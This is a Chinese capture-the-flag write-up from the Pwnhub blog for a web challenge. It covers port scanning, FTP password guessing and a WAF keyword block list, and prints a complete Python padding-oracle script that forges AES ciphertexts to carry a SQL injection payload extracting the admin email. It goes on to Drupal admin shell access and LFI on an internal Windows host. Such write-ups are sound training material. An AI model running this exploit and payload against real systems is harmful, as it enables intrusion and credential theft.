web

小姐姐的秘密Writeup

Posted by Pwnhub on 2017-07-18

上周五 Pwnhub 上了一道 Web 题,相信各位 Web 选手都已期待许久。本次题目质量也颇高,两位出题人( @Veneno @wupco )也自始至终盯着流量关注大家的做题进度,可谓十分敬业和认真呀~

听说这次的题目难倒了很多 dalao ,也出现了非预期以及服务器宕机等“事故”,十分曲折。接下来一起看看标准版答案,这道题到底如何解题最轻松吧!


本次题目考查的是 Web 部分,CTF 与实战都有。

在这里先给各位师傅道个歉,因为当时题目出得急,所以有的点可能没有仔细去构造,显得略微有点脑洞。

Part 1

1
2
3
Part 1 共分为两部分:
Padding-Oracle-Attack && Sql-Injection
Drupal-Getshell

首先使用 nmap nmap 54.223.191.248 简单的扫描一下端口发现 21 ftp 端口开放,80 web 服务开放。

1.png

尝试匿名访问 ftp ,失败,尝试 ftp 弱口令爆破。

得到用户名: test ,密码: test123 。

2.png

下载下来,解压发现是个 Drupal8.x 的插件,通过 README.txt 得知:

  1. 目前的网站正在使用这个未完成的插件。
  2. admin用户的密码被修改,修改后的密码已经发送到他的邮箱中。

接下来审计一下插件的逻辑(功能)部分 ArticleController.php

get_by_id() 函数

1
2
3
4
5
6
7
8
9
10
public function get_by_id(Request $request){
$nid = $request->get('id');
$nid = $this->set_decrpo($nid);
//echo $nid;
$this->waf($nid);
$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid}")->fetchAssoc();
return array(
'#title' => $this->t($query['title']),
'#markup' => '<p>' . $this->t($query['body_value']) . '</p>',

获取到 url 传入的 id ,通过 aes 解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private function set_decrpo($id){
if($c = base64decode(base64decode($id)))
{
if($iv = substr($c,0,16))
{
if($pass = substr($c,17))
{
if($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,$iv))
{
return $u;
}
else
die("haker?bu chun zai de!");
}
else
return 1;
}
else
return 1;
}
else
return 1;
}

经过一步 waf 的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private function waf($str){
if(stripos($str," ")!==false)
die("Be a good person!");
if(stripos($str,"file")!==false)
die("Be a good person!");
if(stripos($str,"/")!==false)
die("Be a good person!");
if(stripos($str,"*")!==false)
die("Be a good person!");
if(stripos($str,"sleep")!==false)
die("Be a good person!");
if(stripos($str,"benchmark")!==false)
die("Be a good person!");
if(stripos($str,"md5")!==false)
die("Be a good person!");
if(stripos($str,"insert")!==false)
die("Be a good person!");
if(stripos($str,"update")!==false)
die("Be a good person!");
if(stripos($str,"delete")!==false)
die("Be a good person!");
if(stripos($str,"../")!==false)
die("Be a good person!");
if(stripos($str,"..\\")!==false)
die("Be a good person!");
if(stripos($str,"'")!==false)
die("Be a good person!");
if(stripos($str,'"')!==false)
die("Be a good person!");
if(stripos($str,"load_file")!==false)
die("Be a good person!");
if(stripos($str,"outfile")!==false)
die("Be a good person!");
if(stripos($str,"execute")!==false)
die("Be a good person!");
if(stripos($str,"#")!==false)
die("Be a good person!");
if(stripos($str,"-")!==false)
die("Be a good person!");
if(stripos($str,"eval")!==false)
die("Be a good person!");
if(stripos($str,"\\")!==false)
die("Be a good person!");
if(stripos($str,"&")!==false)
die("Be a good person!");
}

接下来经过另一段 waf 代入 sql 语句

1
2
3
4
5
6
7
8
$nid = addslashes($nid);
$waf_t = 233;
if(strlen((string)$nid)>16)
{
$waf_t = "Id number can't too long!";
}
$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid} and {$waf_t} = 233")->fetchAssoc();

但是我们不知道私钥,无法构造出加密后的密文,这时候我们看一下加密函数

3.png

这里把加密用到的初始向量 iv 和密文用分隔符隔断放在一起 base64 两次编码形成最终密文,这就存在着漏洞。

我们可以通过 padding oracle attack 获取加密的中间值,再利用中间值伪造任意明文的密文。

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

padding oracle attack

简单说一下攻击的流程和原理:

加密的过程中需要将明文分块,然后选择第一块明文与 iv 值异或,生成的值经过加密生成第二块加密所需的 iv 值,以此类推。而根据规定,不足一个对齐粒度的块要进行填充,PCKS#5 的填充方式即填充值为不足对齐粒度的字节数。

加密过程

4.png

解密过程

5.png

在 php-openssl_decrypt 上,如果检测到填充值不正确就会产生错误,所以我们通过把我们获取到的一整个密文分解出 iv 和 ciper ,先把 iv 置为全 0x00 ,报错,因为最后解密出的最后一字节不为正确的填充字节,所以我们就在此基础上反复修改 iv 最后一字节,直到解密值最后一字节是正确的填充字节

6.png

于是我们通过异或填充字节能求得一个中间值,这个中间值异或任意一个明文当作 iv ,最后的解密结果就是这个明文。

通过这种方法,我们可以把中间值每一字节都爆破出来。

7.png

8.png

再说说这道题, openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,$iv)
OPENSSL_RAW_DATA 使用的填充模式是PKCS#7 ,具体填充方式与PKCS#5 相同。所以可以利用 padding oracle 伪造任意明文。
因为是未完成插件,所以要看下插件配置文件,找到路由规则
encrypt_article.routing.yml

1
2
/enlist :显示文章列表
/get_en_news_by_id/{id}:执行get_by_id()

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding: utf-8 -*-
# author: wupco
import sys
import string
import base64
import requests
import math
import re
from urllib import quote
url = "http://54.223.191.248/get_en_news_by_id/"
#cookie = {
# 'auth':'dMl2LO3x3p3A8PR1DnROJXjA0s3/tr9'
#}
encrypt_know_id = "a1IyaUEyNE9RMGpwZFpTaE9FWjNoWHp6RDNsaitDNUgwMm1JYUErYkQ0d04="
known_id = '4'
d_cookie = base64.b64decode(base64.b64decode(encrypt_know_id)).encode('hex')
iv = d_cookie[:32]
ciper = d_cookie[34:]
payload = '9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`'
feature = ['haker?bu chun zai de!','dwordshot']
def t_xor(a, b):
i = a ^ b
t = '0' if len(str(hex(i)))<4 else ''
return t+str(hex(i)).replace('0x','')
def known_xor_now(m, l, b):
if(b == m):
b = m - 1
s = ""
for i in l:
s = str(t_xor(i,b)) + s
return s
def get_niv(m, p, i ,l):
b = '0' if len(str(hex(i)))<4 else ''
niv = ('00'*(m-p)) + (b+str(hex(i)).replace('0x',''))
return niv + known_xor_now(m, l, p)
def padding_num(m):
return (len(payload)/m) + (1 if len(payload) % m >0 else 0)
def request_(url):
try:
a = requests.get(url)
return a
except requests.ConnectionError:
return request_(url)
def brute_mid(mid_len, features, known_id):
mid_list = []
for i in xrange(1,mid_len+1):
for j in xrange(0,256):
#print "brute force desc {0} word : chr({1})".format(i,j)
nid = quote(base64.b64encode(base64.b64encode((get_niv(mid_len,i,j,mid_list)+'7c'+ciper).decode('hex'))))
a = request_(url+nid)
#print a.content
if(i == mid_len):
if(a.content.find(features[1])!=-1):
new_mid = j^ord(known_id)
mid_list.append(new_mid)
break
else:
continue
else:
if(a.content.find(features[0])==-1):
new_mid = j^i
mid_list.append(new_mid)
break
else:
continue
print mid_list
mid_list.reverse()
print mid_list
print "\n padding ok...\n"
return mid_list
def f_niv(mid_len,feature,known_id,payload_s):
midlist = brute_mid(16,feature,known_id)
pay = []
for i in xrange(0,len(midlist)):
if(i > (len(payload_s) - 1)):
pay.append(midlist[i] ^ (len(midlist) - len(payload_s)))
else:
pay.append(midlist[i] ^ ord(payload_s[i]))
s = ""
for i in pay:
s += str(t_xor(i,0))
return s
def main():
padd_num = padding_num(16)
if padd_num > 1:
s_payload = [payload[i:i+16] for i in xrange(0, len(payload), 16)]
s_payload.reverse()
ivlist = []
global ciper,iv
s_ciper = ciper
for p in s_payload:
iv = f_niv(16,feature,known_id,p)
print "\niv:{0}\n".format(iv)
ivlist.append(iv)
ciper = iv
iv = ivlist.pop()
ivlist.reverse()
print "all ok~~~"
return base64.b64encode(base64.b64encode((iv+'7c'+''.join(i for i in ivlist)+s_ciper).decode('hex')))
else:
iv = f_niv(16,feature,known_id,payload)
print "all ok ~~~"
return base64.b64encode(base64.b64encode((iv+'7c'+ciper).decode('hex')))
print main()

因为这个 Drupa 密码默认采用 sha512 搭配 salt 进行迭代加密,所以解密可能性不大,结合前面搜集的信息,获取到管理员的邮箱,payload 为

1
'9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`'

注意 waf1 和 waf2 ,waf1 拦截几乎所有的注释符,所以可以利用 mysql-php 的 `重音符号 自动补全闭合来注释掉后面,绕过waf2的长度限制。

而 padding 一轮的时间也比较长,所以需要构造尽可能短的payload才行。

9.png

10.png

拿到邮箱后,根据enlist下有个未发布的文章,邮箱密码是admin888

进入邮箱后,得到腾讯文档分享地址,本来想加点剧情的,结果太懒就没加2333:

13.png

然后在修订记录中发现后台密码dAs^f#G*dDf@#%gdfjh:

16.png

然后登陆后台,根据:

http://paper.seebug.org/334/

拿到shell,这里可能有一个略微坑的地方,只有upload目录可写,不过应该感觉大家都会上扫描器,应该很容易就扫到XD。

还有一个点,写shell必须是绝对路径,所以首先需要通过phpinfo拿到webpath:

11.png

拿到shell后:
12.png

内网探测发现一个照片cms


Part 2

用 arp -a 命令探测内网信息,找到内网 win 主机,开放了 80 端口。

在首页源码中,我们可以发现 incp.php ,猜测是 LFI ,经过测试发现存在 waf 。

incp.php 中备注着部分关键 waf 。

14.png

利用邮箱中获得的密码,我们可以很轻易地进入到后台中,发现后台存在上传页面。上传任意文件都会被 move 为 txt 文件,文件名是时间戳。

1
2
3
4
5
于是思路很明确:
1.上传一句话
2.绕过waf,LFI=>Getshell

这里其实用了 win 下的一个小 trick

<xxxx> 这种格式的 payload 是可以 LFI 的

于是最后拿到 shell:

解码即是flag:

15.png

1
pwnhub{flag:佳佳是小姐姐?不存在的23333}

感谢 @Veneno 和 @wupco 两位胖友给出了如此高质量的题目,另外,有一个好消息想要告诉大家:

即日起,Pwnhub 平台面向所有 CTFer 收一些相较目前为止难度较低的题目,一经采纳,将有 Pwnhub 邀请码或者平台金币相送!欢迎各位踊跃投稿尝试!

另外,Pwnhub 第一期线下沙龙即将于 8 月 12 日在北京举办,门票目前已经上架 Pwnhub 积分商城,欢迎各位胖友前往兑换(关于沙龙的剧透,稍后将在 Blog 公布喔~关注我们哟!